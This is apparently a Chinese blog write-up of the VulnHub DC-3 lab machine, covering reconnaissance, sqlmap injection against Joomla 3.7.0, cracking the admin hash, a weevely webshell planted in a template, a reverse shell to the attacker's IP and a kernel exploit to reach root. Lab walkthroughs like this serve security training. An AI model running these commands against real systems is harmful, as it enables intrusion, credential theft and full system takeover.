前言

这次练习的靶机是vulnhub平台下的DC系列靶机第三台,下载地址为https://www.vulnhub.com/entry/dc-32,312/。该靶机的难度系数为简单,该靶机只有一个flag,只有获取root权限才能获取该flag。

虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-3靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

在这里插入图片描述

然后需要溢出CD/DVD选项,这个启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接也是可以的。

在这里插入图片描述

收集信息

nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

在这里插入图片描述

通过nmap扫描获取到靶机的IP地址为 192.168.119.161。下面就对靶机更加详细的扫描。

nmap -A -sV -p- --min-parallelism 200 192.168.119.161

-A 代表综合性扫描,能收集很多主要的信息

-sV 代表扫主要的服务信息

-p- 参数p是指定端口,后面的-代表所有端口。

在这里插入图片描述

只扫描出靶机开放了80端口,而且使用了joomla。接下来我们打开网站看看,需要特别注意有数据交互的地方,因为这些地方通常是漏洞出现的地方。

在这里插入图片描述

仔细观察并分析后没有发现可以利用的漏洞,接下来就用 dirsearch对该网站进行目录扫描。

dirsearch -u 192.168.119.161

在这里插入图片描述

很快dirsearach就扫描完毕,通过扫描发现了一个 administrator的目录,该目录很有可能是后台管理地址,打开看看。

在这里插入图片描述

确实是后台管理地址,并且进一步证实该网站使用的cms就是joomla。直接上burpsuite爆破,经过尝试没有把密码爆出来。既然没有发现漏洞,那就在漏洞库里面查一查有没有该cms的漏洞吧,但是首先需要获取joomla的版本号。获取版本号可以用joomla的专用扫描器 joomscan来扫描,首先安装一下 joomscan

apt install joomscan

然后对目标网站进行扫描。

joomscan -u 192.168.119.161

在这里插入图片描述

通过扫描得知该joomla的版本号为 3.7.0

sql注入

现在已经知道joomla的版本了,接下来就用 searchsploit搜索对应的漏洞。

searchsploit joomla 3.7.0

在这里插入图片描述

搜索得到了一个跨站脚本漏洞和一个sql注入漏洞,接下来通过 searchsploit -m命令把sql注入漏洞对应的文件复制到当前文件夹。

searchsploit -m 42033.txt

在这里插入图片描述

好,该文件已经复制到当前目录了,查看一下里面的内容。

cat 42033.txt

在这里插入图片描述

这个文件里面都把利用命令给出来了,直接复制粘贴,然后修改一下IP地址即可使用。

sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

–risk 这个参数指定的数字越大,执行风险越高,成功率也越高。参数范围为1-3。

–level 这个参数指定的数字越大,发送的请求越多,成功率也越高,参数范围为1-5.

–random-agent 使用随机的请求的user agent,这个是为了避免请求被waf阻断。

–dbs 获取所有数据库名称。

-p 该参数是指定可以利用sql注入漏洞的参数。

在这里插入图片描述

扫描出了五个库,数据库joomladb即该cms所使用的数据库,获取该库的所有表名。

sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

-D 指定需要扫描的库名。

–tables 列出指定库中的所有表名。

在这里插入图片描述

扫出来的表很多,我们发现了一个名为#__users的表,这个应该是保存用户名和密码的表。用sqlmap把这个表里面的内容全部扫出来。

sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump list[fullordering]

-T 指定需要扫描的报名。

–dump 表示获取指定库和表中的有内容。

在这里插入图片描述

获取到了账号 admin,密码 $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu。该密文首部 2y表示该加密方式为Blowfish

破解密文

尝试使用约翰开膛手破解一下,首先把密文保存一个文件中。

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'>pass.txt

然后使用约翰开膛手进行暴力破解。

john pass.txt
john --show pass.txt

通过john破解的密码会保存在 ~/.john/johh.pot中,查看破解的密码可以直接查看该文件也可以通过 john --show命令指定密文文件来查看密码。

在这里插入图片描述

密码已经破解出来,密码为 snoopy.

获取shell

通过破解的密码登陆网站管理后台。

在这里插入图片描述

获取shell的方法与之前靶机中WordPress获取shell的方法类似,通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接。这里我采用weevely做演示,首先用weebely生成一个木马。

weevely generate a a.php

generate 代表生成一个木马

a 代表连接密码

a.php 是木马文件名

在这里插入图片描述

然后在后台中选择 Templates

在这里插入图片描述

然后依次点击 Templates-> Beez3 Details and Files,选择下边的模块也是可以的,这里就用Beez3模块做演示。

在这里插入图片描述

点击 New File后就会弹出一个模态框,在模态框中可以填写创建文件的文件名与文件类型。

在这里插入图片描述

随便填写一个文件名,但是需要记住,待会儿连接需要使用,文件类型选择PHP。

在这里插入图片描述

将刚刚用weevely生成的木马内容粘贴到文本框中,然后点击保存。

在这里插入图片描述

通过前面的目录扫,我们知道了模块会保存在目录/templates/beez3/中,我们访问一下刚才编辑好的木马文件:http://192.168.119.161/templates/beez3/a.php,如下图所示出现空白则说明有这个木马文件存在。

在这里插入图片描述

如果访问文件不存在就会报404错误,如下图所示。

在这里插入图片描述

然后使用weevely进行连接。

weevely http://192.168.119.160/templates/beez3/a.php a

最后面一个a是连接密码,在生成木马的时候设置的。

在这里插入图片描述

如图所示说明已经成功获取shell了。

提权

在linu提权中最常见的就是suid提权了,接下来就通过find -perm -u=s -type f -exec ls -la {} \; 2>/dev/null命令查找具有s权限的文件,以及用 sudo -l查看可以用root权限执行的命令。

在这里插入图片描述

经过查找没有发现s权限的文件也没有发现可以用root权限执行的命令。这种情况还是需要用searchsploit来查找提权漏洞。但是查找前需要知道系统的版本号和内核版本号。

cat /etc/issue		//查看系统版本号
uname -a			//查看内核版本号

在这里插入图片描述

我们得知系统为 ubuntu 16.04,内核发行版本为 4.4.0-21

searchsploit ubuntu 16.04

在这里插入图片描述

找到对应内核版本的漏洞,这次提权采用 39772.txt来演示。

searchsploit -m 39772.txt

在这里插入图片描述

按照这个文件里面的提示下载好漏洞利用脚本。下载的是一个zip文件,里面有两个文件,分别为 exploit.tarcrasher.tat。这次提权我们只需要用到 exploit.tar,所以把这个文件上传到靶机上。

在这里插入图片描述

执行以下命令上传exploit.tar,注意命令前有一个冒号,还要注意exploit.tar的文件本地地址。

:file_upload2web exploit.tar

在这里插入图片描述

接下来就需要建立反弹shell,在webshell中的命令是基于php的,所以有很多功能会受到限制,会导致提权不会成功。所以需要建立反弹shell来提权。

首先在本地监听一个端口,这里以 4443作演示。

rlwrap nc -lvnp 4443

rlwrap是为了让shell更加智能化。

在这里插入图片描述

然后在weevely建立的webshell中输入以下命令来建立反弹shell,注意IP地址与端口号:

:backdoor_reversetcp 192.168.119.130 4443

在这里插入图片描述

出现报错了,没关系,来到监听窗口观察发现已经建立了反弹shell。下面就升级为交互式shell。

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

接下来就解压漏洞利用文件,解压后进入解压的目录。

tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit

在这里插入图片描述

先执行 complie.sh,然后执行 doubleput,忽略报错。

./complie.sh
./doubeput

在这里插入图片描述

在这里插入图片描述

提权成功!去 /root获取flag。

cd /root
cat the-flag.txt

在这里插入图片描述

总结

该靶机总体比较简单,遇到问题只需要到searchsploit搜索即可解决问题。

参考文献

[1] https://zhuanlan.zhihu.com/p/51756921,sqlmap的一些技术细节(2)

[2] https://www.cnblogs.com/vaelailai/p/7545166.html,linux查看操作系统版本信息

[3] https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密码段的生成方式

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐